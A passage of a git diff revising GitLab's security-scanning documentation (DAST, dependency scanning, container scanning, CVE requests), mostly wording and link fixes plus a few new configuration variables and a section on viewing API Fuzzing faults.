+- An image matching [Clair's list of supported distributions](https://quay.github.io/claircore/).
- [Build and push](../../packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd)
your Docker image to your project's container registry. The name of the Docker image should use
the following [predefined environment variables](../../../ci/variables/predefined_variables.md):
@@ -211,7 +212,7 @@ container_scanning:
GIT_STRATEGY: fetch
```
-CAUTION: **Deprecated:**
+WARNING:
GitLab 13.0 and later doesn't support [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic).
When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules)
instead.
@@ -298,7 +299,7 @@ For details on saving and transporting Docker images as a file, see Docker's doc
It can be worthwhile to set up a [scheduled pipeline](../../../ci/pipelines/schedules.md) to
build a new version of the vulnerabilities database on a preset schedule. Automating
-this with a pipeline means you won't have to do it manually each time. You can use the following
+this with a pipeline means you do not have to do it manually each time. You can use the following
`.gitlab-yml.ci` as a template:
```yaml
@@ -318,7 +319,7 @@ build_latest_vulnerabilities:
- docker push $CI_REGISTRY/namespace/clair-vulnerabilities-db
```
-The above template works for a GitLab Docker registry running on a local installation, however, if you're using a non-GitLab Docker registry, you'll need to change the `$CI_REGISTRY` value and the `docker login` credentials to match the details of your local registry.
+The above template works for a GitLab Docker registry running on a local installation, however, if you're using a non-GitLab Docker registry, you need to change the `$CI_REGISTRY` value and the `docker login` credentials to match the details of your local registry.
## Running the standalone container scanning tool
diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md
index 4c5afcee3d0..0a5a0c3a565 100644
--- a/doc/user/application_security/coverage_fuzzing/index.md
+++ b/doc/user/application_security/coverage_fuzzing/index.md
@@ -1,7 +1,7 @@
---
stage: Secure
group: Fuzz Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
diff --git a/doc/user/application_security/cve_id_request.md b/doc/user/application_security/cve_id_request.md
index 94cacf2882f..bc0c1e52626 100644
--- a/doc/user/application_security/cve_id_request.md
+++ b/doc/user/application_security/cve_id_request.md
@@ -2,14 +2,14 @@
type: tutorial
stage: Secure
group: Vulnerability Research
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# CVE ID Requests
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41203) in GitLab 13.4, only for public projects on GitLab.com.
-As part of [GitLab's role as a CVE Numbering Authority](https://about.gitlab.com/security/cve)
+As part of [our role as a CVE Numbering Authority](https://about.gitlab.com/security/cve/)
([CNA](https://cve.mitre.org/cve/cna.html)), you may request
[CVE](https://cve.mitre.org/index.html) identifiers from GitLab to track
vulnerabilities found within your project.
@@ -33,7 +33,7 @@ If the following conditions are met, a **Request CVE ID** button appears in your
## Submitting a CVE ID Request
Clicking the **Request CVE ID** button in the issue sidebar takes you to the new issue page for
-[GitLab's CVE project](https://gitlab.com/gitlab-org/cves).
+the [GitLab CVE project](https://gitlab.com/gitlab-org/cves).
![CVE ID request button](img/cve_id_request_button.png)
diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md
index 2f1ed2faf90..f4401fa6445 100644
--- a/doc/user/application_security/dast/index.md
+++ b/doc/user/application_security/dast/index.md
@@ -1,7 +1,7 @@
---
stage: Secure
group: Dynamic Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -15,7 +15,7 @@ deployed, your application is exposed to a new category of possible attacks,
such as cross-site scripting or broken authentication flaws. This is where
Dynamic Application Security Testing (DAST) comes into place.
-NOTE: **Note:**
+NOTE:
The whitepaper ["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/)
explains how 4 of the top 6 attacks were application based. Download it to learn how to protect your
organization.
@@ -91,12 +91,22 @@ There are two ways to define the URL to be scanned by DAST:
1. Set the `DAST_WEBSITE` [variable](../../../ci/yaml/README.md#variables).
1. Add it in an `environment_url.txt` file at the root of your project.
- This is great for testing in dynamic environments. In order to run DAST against
- an app dynamically created during a GitLab CI/CD pipeline, have the app
- persist its domain in an `environment_url.txt` file, and DAST
- automatically parses that file to find its scan target.
- You can see an [example](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml)
- of this in our Auto DevOps CI YAML.
+ This is useful for testing in dynamic environments. To run DAST against an application
+ dynamically created during a GitLab CI/CD pipeline, a job that runs prior to the DAST scan must
+ persist the application's domain in an `environment_url.txt` file. DAST automatically parses the
+ `environment_url.txt` file to find its scan target.
+
+ For example, in a job that runs prior to DAST, you could include code that looks similar to:
+
+ ```yaml
+ script:
+ - echo http://${CI_PROJECT_ID}-${CI_ENVIRONMENT_SLUG}.domain.com > environment_url.txt
+ artifacts:
+ paths: [environment_url.txt]
+ when: always
+ ```
+
+ You can see an example of this in our [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) file.
If both values are set, the `DAST_WEBSITE` value takes precedence.
@@ -161,8 +171,9 @@ headers whose values you want masked. For details on how to mask headers, see
It's also possible to authenticate the user before performing the DAST checks.
-**Important:** It is highly recommended that you configure the scanner to authenticate to the application,
-or it will not be able to check most of the application for security risks, as most
+NOTE:
+We highly recommended that you configure the scanner to authenticate to the application,
+otherwise it cannot check most of the application for security risks, as most
of your application is likely not accessible without authentication. It is also recommended
that you periodically confirm the scanner's authentication is still working as this tends to break over
time due to authentication changes to the application.
@@ -183,6 +194,8 @@ variables:
DAST_AUTH_URL: https://example.com/sign-in
DAST_USERNAME_FIELD: session[user] # the name of username field at the sign-in HTML form
DAST_PASSWORD_FIELD: session[password] # the name of password field at the sign-in HTML form
+ DAST_SUBMIT_FIELD: login # the `id` or `name` of the element that when clicked will submit the login form or the password form of a multi-page login process
+ DAST_FIRST_SUBMIT_FIELD: next # the `id` or `name` of the element that when clicked will submit the username form of a multi-page login process
DAST_AUTH_EXCLUDE_URLS: http://example.com/sign-out,http://example.com/sign-out-2 # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between
```
@@ -191,7 +204,7 @@ The results are saved as a
that you can later download and analyze.
Due to implementation limitations, we always take the latest DAST artifact available.
-DANGER: **Warning:**
+WARNING:
**NEVER** run an authenticated scan against a production server. When an authenticated
scan is run, it may perform *any* function that the authenticated user can. This
includes actions like modifying and deleting data, submitting forms, and following links.
@@ -486,8 +499,8 @@ variables:
When using `DAST_PATHS` and `DAST_PATHS_FILE`, note the following:
-- `DAST_WEBSITE` must be defined when using either `DAST_PATHS_FILE` or `DAST_PATHS`. The paths listed in either will use `DAST_WEBSITE` to build the URLs to scan
-- Spidering is disabed when `DAST_PATHS` or `DAST_PATHS_FILE` are defined
+- `DAST_WEBSITE` must be defined when using either `DAST_PATHS_FILE` or `DAST_PATHS`. The paths listed in either use `DAST_WEBSITE` to build the URLs to scan
+- Spidering is disabled when `DAST_PATHS` or `DAST_PATHS_FILE` are defined
- `DAST_PATHS_FILE` and `DAST_PATHS` can not be used together
- The `DAST_PATHS` environment variable has a limit of about 130kb. If you have a list or paths
greater than this, use `DAST_PATHS_FILE`.
@@ -498,7 +511,7 @@ To perform a [full scan](#full-scan) on the listed paths, use the `DAST_FULL_SCA
### Customizing the DAST settings
-CAUTION: **Deprecation:**
+WARNING:
Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic)
is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead.
@@ -529,7 +542,7 @@ DAST can be [configured](#customizing-the-dast-settings) using environment varia
| `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. |
| `DAST_WEBSITE` | URL | The URL of the website to scan. `DAST_API_SPECIFICATION` must be specified if this is omitted. |
| `DAST_API_SPECIFICATION` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. |
-| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` will be reset to `http://test.site` before scan. Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. |
+| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` is reset to `http://test.site` before scan. Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. |
| `DAST_AUTH_URL` | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. |
| `DAST_USERNAME` | string | The username to authenticate to in the website. |
| `DAST_PASSWORD` | string | The password to authenticate to in the website. |
@@ -551,7 +564,9 @@ DAST can be [configured](#customizing-the-dast-settings) using environment varia
| `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
| `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. |
-| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line and be within `/zap/wrk`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. |
+| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line and be in `/zap/wrk`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. |
+| `DAST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the login form or the password form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
+| `DAST_FIRST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the username form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
| `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` |
@@ -720,7 +735,7 @@ To delete an existing site profile:
1. From your project's home page, go to **Security & Compliance > Configuration**.
1. Click **Manage** in the **DAST Profiles** row.
-1. Click **{remove}** in the row of the profile to delete.
+1. Click **{remove}** (Delete profile) in the row of the profile to delete.
## Scanner profile
@@ -762,7 +777,7 @@ To delete a scanner profile:
1. From your project's home page, go to **Security & Compliance > Configuration**.
1. Click **Manage** in the **DAST Profiles** row.
-1. Click **{remove}** in the scanner profile's row.
+1. Click **{remove}** (Delete profile) in the scanner profile's row.
## On-demand scans
@@ -780,7 +795,7 @@ An on-demand DAST scan:
### Run an on-demand DAST scan
-NOTE: **Note:**
+NOTE:
You must have permission to run an on-demand DAST scan against a protected branch.
The default branch is automatically protected. For more information, see
[Pipeline security on protected branches](../../../ci/pipelines/index.md#pipeline-security-on-protected-branches).
@@ -812,7 +827,7 @@ Click **View details** to view the web console output which includes the list of
### JSON
-CAUTION: **Caution:**
+WARNING:
The JSON report artifacts are not a public API of DAST and their format is expected to change in the future.
The DAST tool always emits a JSON report file called `gl-dast-report.json` and
@@ -821,8 +836,8 @@ sample reports can be found in the
There are two formats of data in the JSON report that are used side by side:
-- The proprietary ZAP format that will be eventually deprecated.
-- A common format that will be the default in the future.
+- The proprietary ZAP format, which is planned to be deprecated.
+- A common format that is planned to the default in the future.
### Other formats
diff --git a/doc/user/application_security/dependency_list/index.md b/doc/user/application_security/dependency_list/index.md
index ddd059707d4..d5f4ce9cc6a 100644
--- a/doc/user/application_security/dependency_list/index.md
+++ b/doc/user/application_security/dependency_list/index.md
@@ -2,14 +2,14 @@
type: reference, howto
stage: Secure
group: Composition Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dependency List **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10075) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.0.
-The Dependency list allows you to see your project's dependencies, and key
+The dependency list allows you to see your project's dependencies, and key
details about them, including their known vulnerabilities. To see it,
navigate to **Security & Compliance > Dependency List** in your project's
sidebar. This information is sometimes referred to as a Software Bill of Materials or SBoM / BOM.
@@ -55,13 +55,14 @@ dependencies, but the UI only shows one of the shortest paths.
Dependency Paths are supported for the following package managers:
- [NuGet](https://www.nuget.org/)
+- [Yarn 1.x](https://classic.yarnpkg.com/lang/en/)
## Licenses
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10536) in GitLab Ultimate 12.3.
If the [License Compliance](../../compliance/license_compliance/index.md) CI job is configured,
-the [discovered licenses](../../compliance/license_compliance/index.md#supported-languages-and-package-managers) will be displayed on this page.
+the [discovered licenses](../../compliance/license_compliance/index.md#supported-languages-and-package-managers) are displayed on this page.
## Downloading the Dependency List
diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md
index 40189235e64..1079a75e32f 100644
--- a/doc/user/application_security/dependency_scanning/analyzers.md
+++ b/doc/user/application_security/dependency_scanning/analyzers.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Secure
group: Composition Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dependency Scanning Analyzers **(ULTIMATE)**
diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md
index 1b164c9cecd..07774f51958 100644
--- a/doc/user/application_security/dependency_scanning/index.md
+++ b/doc/user/application_security/dependency_scanning/index.md
@@ -2,14 +2,14 @@
type: reference, howto
stage: Secure
group: Composition Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dependency Scanning **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5105) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.7.
-GitLab's Dependency Scanning feature can automatically find security vulnerabilities in your
+The Dependency Scanning feature can automatically find security vulnerabilities in your
dependencies while you're developing and testing your applications. For example, dependency scanning
lets you know if your application uses an external (open source) library that is known to be
vulnerable. You can then take action to protect your application.
@@ -46,7 +46,7 @@ To run dependency scanning jobs, by default, you need GitLab Runner with the
[`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor.
If you're using the shared runners on GitLab.com, this is enabled by default.
-CAUTION: **Caution:**
+WARNING:
If you use your own runners, make sure your installed version of Docker
is **not** `19.03.0`. See [troubleshooting information](#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details.
@@ -64,7 +64,7 @@ The following languages and dependency managers are supported:
| [Conan](https://conan.io/) | C, C++ | [`conan.lock`](https://docs.conan.io/en/latest/versioning/lockfiles.html) | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) |
| [Golang](https://golang.org/) | Go | `go.sum` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) |
| [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/) | Java | `build.gradle`, `build.gradle.kts`, `pom.xml` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) |
-| [npm](https://www.npmjs.com/), [yarn](https://classic.yarnpkg.com/en/) | JavaScript | `package-lock.json`, `npm-shrinkwrap.json`, `yarn.lock` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium), [Retire.js](https://retirejs.github.io/retire.js/) |
+| [npm](https://www.npmjs.com/), [yarn](https://classic.yarnpkg.com/en/) 1.x | JavaScript | `package-lock.json`, `npm-shrinkwrap.json`, `yarn.lock` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium), [Retire.js](https://retirejs.github.io/retire.js/) |
| [NuGet](https://www.nuget.org/) 4.9+ | .NET, C# | [`packages.lock.json`](https://docs.microsoft.com/en-us/nuget/consume-packages/package-references-in-project-files#enabling-lock-file) | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) |
| [setuptools](https://setuptools.readthedocs.io/en/latest/), [pip](https://pip.pypa.io/en/stable/), [Pipenv](https://pipenv.pypa.io/en/latest/) | Python | `setup.py`, `requirements.txt`, `requirements.pip`, `requires.txt`, `Pipfile` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) |
| [sbt](https://www.scala-sbt.org/) 1.2 and below ([Ivy](http://ant.apache.org/ivy/)) | Scala | `build.sbt` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) |
@@ -123,7 +123,7 @@ configuration, the last mention of the variable takes precedence.
### Overriding dependency scanning jobs
-CAUTION: **Deprecation:**
+WARNING:
Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic)
is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead.
@@ -141,6 +141,16 @@ gemnasium-dependency_scanning:
DS_REMEDIATE: "false"
```
+To override the `dependencies: []` attribute, add an override job as above, targeting this attribute:
+
+```yaml
+include:
+ - template: Dependency-Scanning.gitlab-ci.yml
+
+gemnasium-dependency_scanning:
+ dependencies: ["build"]
+```
+
### Available variables
Dependency scanning can be [configured](#customizing-the-dependency-scanning-settings)
@@ -173,7 +183,7 @@ The following variables are used for configuring specific analyzers (used for a
| `PIP_REQUIREMENTS_FILE` | `gemnasium-python` | | Pip requirements file to be scanned. |
| `DS_PIP_VERSION` | `gemnasium-python` | | Force the install of a specific pip version (example: `"19.3"`), otherwise the pip installed in the Docker image is used. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12811) in GitLab 12.7) |
| `DS_PIP_DEPENDENCY_PATH` | `gemnasium-python` | | Path to load Python pip dependencies from. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12412) in GitLab 12.2) |
-| `DS_PYTHON_VERSION` | `retire.js` | | Version of Python. If set to 2, dependencies are installed using Python 2.7 instead of Python 3.6. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12296) in GitLab 12.1)|
+| `DS_PYTHON_VERSION` | `retire.js` | | Version of Python. If set to 2, dependencies are installed using Python 2.7 instead of Python 3.6. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12296) in GitLab 12.1, [removed](https://www.python.org/doc/sunset-python-2/) in GitLab 13.7)|
| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`. Maven and Gradle use the Java version specified by this value. |
| `MAVEN_CLI_OPTS` | `gemnasium-maven` | `"-DskipTests --batch-mode"` | List of command line arguments that are passed to `maven` by the analyzer. See an example for [using private repositories](../index.md#using-private-maven-repos). |
| `GRADLE_CLI_OPTS` | `gemnasium-maven` | | List of command line arguments that are passed to `gradle` by the analyzer. |
@@ -356,10 +366,10 @@ Here are the requirements for using dependency scanning in an offline environmen
- GitLab Runner with the [`docker` or `kubernetes` executor](#requirements).
- Docker Container Registry with locally available copies of dependency scanning [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images.
-- If you have a limited access environment you will need to allow access, such as using a proxy, to the advisory database: `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git`.
+- If you have a limited access environment you need to allow access, such as using a proxy, to the advisory database: `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git`.
If you are unable to permit access to `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` you must host an offline copy of this `git` repository and set the `GEMNASIUM_DB_REMOTE_URL` variable to the URL of this repository. For more information on configuration variables, see [Dependency Scanning](#configuring-dependency-scanning).
- This advisory database is constantly being updated, so you will need to periodically sync your local copy with GitLab's.
+ This advisory database is constantly being updated, so you must periodically sync your local copy with GitLab.
- _Only if scanning Ruby projects_: Host an offline Git copy of the [advisory database](https://github.com/rubysec/ruby-advisory-db).
- _Only if scanning npm/yarn projects_: Host an offline copy of the [retire.js](https://github.com/RetireJS/retire.js/) [node](https://github.com/RetireJS/retire.js/blob/master/repository/npmrepository.json) and [js](https://github.com/RetireJS/retire.js/blob/master/repository/jsrepository.json) advisory databases.
@@ -510,3 +520,8 @@ uses the [`rules:exists`](../../../ci/yaml/README.md#rulesexists)
syntax. This directive is limited to 10000 checks and always returns `true` after reaching this
number. Because of this, and depending on the number of files in your repository, a dependency
scanning job might be triggered even if the scanner doesn't support your project.
+
+### Issues building projects with npm or yarn packages relying on Python 2
+
+Python 2 was removed (see: [Python 2 sunsetting](https://www.python.org/doc/sunset-python-2/)) from the `retire.js` analyzer in GitLab 13.7 (analyzer version 2.10.1). Projects using packages
+with a dependency on this version of Python should use `retire.js` version 2.10.0 or lower (for example, `registry.gitlab.com/gitlab-org/security-products/analyzers/retire.js:2.10.0`).
diff --git a/doc/user/application_security/img/security_widget_v13_6.png b/doc/user/application_security/img/security_widget_v13_6.png
deleted file mode 100644
index 2dd44909dfe..00000000000
--- a/doc/user/application_security/img/security_widget_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/img/security_widget_v13_7.png b/doc/user/application_security/img/security_widget_v13_7.png
new file mode 100644
index 00000000000..fb1eaf9a2be
--- /dev/null
+++ b/doc/user/application_security/img/security_widget_v13_7.png
Binary files differ
diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md
index 30852d1bbcd..417ce70665c 100644
--- a/doc/user/application_security/index.md
+++ b/doc/user/application_security/index.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: secure
+group: secure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -92,7 +92,7 @@ rules:
## Security Scanning with Auto DevOps
-When [Auto DevOps](../../topics/autodevops/) is enabled, all GitLab Security scanning tools will be configured using default settings.
+When [Auto DevOps](../../topics/autodevops/) is enabled, all GitLab Security scanning tools are configured using default settings.
- [Auto SAST](../../topics/autodevops/stages.md#auto-sast)
- [Auto Secret Detection](../../topics/autodevops/stages.md#auto-secret-detection)
@@ -110,7 +110,7 @@ The scanning tools and vulnerabilities database are updated regularly.
| Secure scanning tool | Vulnerabilities database updates |
|:-------------------------------------------------------------|-------------------------------------------|
| [Container Scanning](container_scanning/index.md) | Uses `clair`. The latest `clair-db` version is used for each job by running the [`latest` Docker image tag](https://gitlab.com/gitlab-org/gitlab/blob/438a0a56dc0882f22bdd82e700554525f552d91b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L37). The `clair-db` database [is updated daily according to the author](https://github.com/arminc/clair-local-scan#clair-server-or-local). |
-| [Dependency Scanning](dependency_scanning/index.md) | Relies on `bundler-audit` (for Ruby gems), `retire.js` (for NPM packages), and `gemnasium` (GitLab's own tool for all libraries). Both `bundler-audit` and `retire.js` fetch their vulnerabilities data from GitHub repositories, so vulnerabilities added to `ruby-advisory-db` and `retire.js` are immediately available. The tools themselves are updated once per month if there's a new version. The [Gemnasium DB](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is updated at least once a week. See our [current measurement of time from CVE being issued to our product being updated](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update). |
+| [Dependency Scanning](dependency_scanning/index.md) | Relies on `bundler-audit` (for Ruby gems), `retire.js` (for NPM packages), and `gemnasium` (the GitLab tool for all libraries). Both `bundler-audit` and `retire.js` fetch their vulnerabilities data from GitHub repositories, so vulnerabilities added to `ruby-advisory-db` and `retire.js` are immediately available. The tools themselves are updated once per month if there's a new version. The [Gemnasium DB](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is updated at least once a week. See our [current measurement of time from CVE being issued to our product being updated](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update). |
| [Dynamic Application Security Testing (DAST)](dast/index.md) | The scanning engine is updated on a periodic basis. See the [version of the underlying tool `zaproxy`](https://gitlab.com/gitlab-org/security-products/dast/blob/master/Dockerfile#L1). The scanning rules are downloaded at scan runtime. |
| [Static Application Security Testing (SAST)](sast/index.md) | Relies exclusively on [the tools GitLab wraps](sast/index.md#supported-languages-and-frameworks). The underlying analyzers are updated at least once per month if a relevant update is available. The vulnerabilities database is updated by the upstream tools. |
@@ -127,19 +127,21 @@ with this approach, however, and there is a
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4393) in GitLab Core 13.5.
> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/273205) in 13.6.
+> - Report download dropdown [added](https://gitlab.com/gitlab-org/gitlab/-/issues/273418) in 13.7.
> - It's [deployed behind a feature flag](../feature_flags.md), enabled by default.
> - It's enabled on GitLab.com.
> - It can be enabled or disabled for a single project.
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-the-basic-security-widget). **(CORE ONLY)**
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
Merge requests which have run security scans let you know that the generated
-reports are available to download.
+reports are available to download. To download a report, click on the
+**Download results** dropdown, and select the desired report.
-![Security widget](img/security_widget_v13_6.png)
+![Security widget](img/security_widget_v13_7.png)
## Interacting with the vulnerabilities
@@ -199,6 +201,43 @@ authorization credentials. By default, content of specific headers are masked in
reports. You can specify the list of all headers to be masked. For details, see
[Hide sensitive information](dast/index.md#hide-sensitive-information).
+### View details of an API Fuzzing vulnerability
+
+> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7.
+
+Faults detected by API Fuzzing occur in the live web application, and require manual investigation
+to determine if they are vulnerabilities. Fuzzing faults are included as vulnerabilities with a
+severity of Unknown. To facilitate investigation of the fuzzing faults, detailed information is
+provided about the HTTP messages sent and received along with a description of the modification(s)
+made.
+
+Follow these steps to view details of a fuzzing fault:
+
+1. You can view faults in a project, or a merge request:
+
+ - In a project, go to the project's **{shield}** **Security & Compliance > Vulnerability Report**
+ page. This page shows all vulnerabilities from the default branch only.
+ - In a merge request, go the merge request's **Security** section and click the **Expand**
+ button. API Fuzzing faults are available in a section labeled
+ **API Fuzzing detected N potential vulnerabilities**. Click the title to display the fault
+ details.
+
+1. Click the fault's title to display the fault's details. The table below describes these details.
+
+| Field | Description |
+|:-----------------|:------------------------------------------------------------------ |
+| Description | Description of the fault including what was modified. |
+| Project | Namespace and project in which the vulnerability was detected. |
+| Method | HTTP method used to detect the vulnerability. |
+| URL | URL at which the vulnerability was detected. |
+| Request | The HTTP request that caused the fault. |
+| Unmodified Response | Response from an unmodified request. This is what a normal working response looks like. |
+| Actual Response | Response received from fuzzed request. |
+| Evidence | How we determined a fault occurred. |
+| Identifiers | The fuzzing check used to find this fault. |
+| Severity | Severity of the finding is always Unknown. |
+| Scanner Type | Scanner used to perform testing. |
+
### Dismissing a vulnerability
To dismiss a vulnerability, you must set its status to Dismissed. This dismisses the vulnerability
@@ -225,11 +264,11 @@ vulnerability as you learn more over time.
> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9.
You can dismiss multiple vulnerabilities at once, providing an optional reason.
-Selecting the checkboxes on the side of each vulnerability in the list will select that individual vulnerability.
+Selecting the checkboxes on the side of each vulnerability in the list selects that individual vulnerability.
Alternatively, you can select all the vulnerabilities in the list by selecting the checkbox in the table header.
-Deselecting the checkbox in the header will deselect all the vulnerabilities in the list.
+Deselecting the checkbox in the header deselects all the vulnerabilities in the list.
Once you have selected some vulnerabilities, a menu appears at the top of the table that allows you to select a dismissal reason.
-Pressing the "Dismiss Selected" button will dismiss all the selected vulnerabilities at once, with the reason you chose.
+Pressing the "Dismiss Selected" button dismisses all the selected vulnerabilities at once, with the reason you chose.
![Multiple vulnerability dismissal](img/multi_select_v12_9.png)
diff --git a/doc/user/application_security/license_compliance/index.md b/doc/user/application_security/license_compliance/index.md
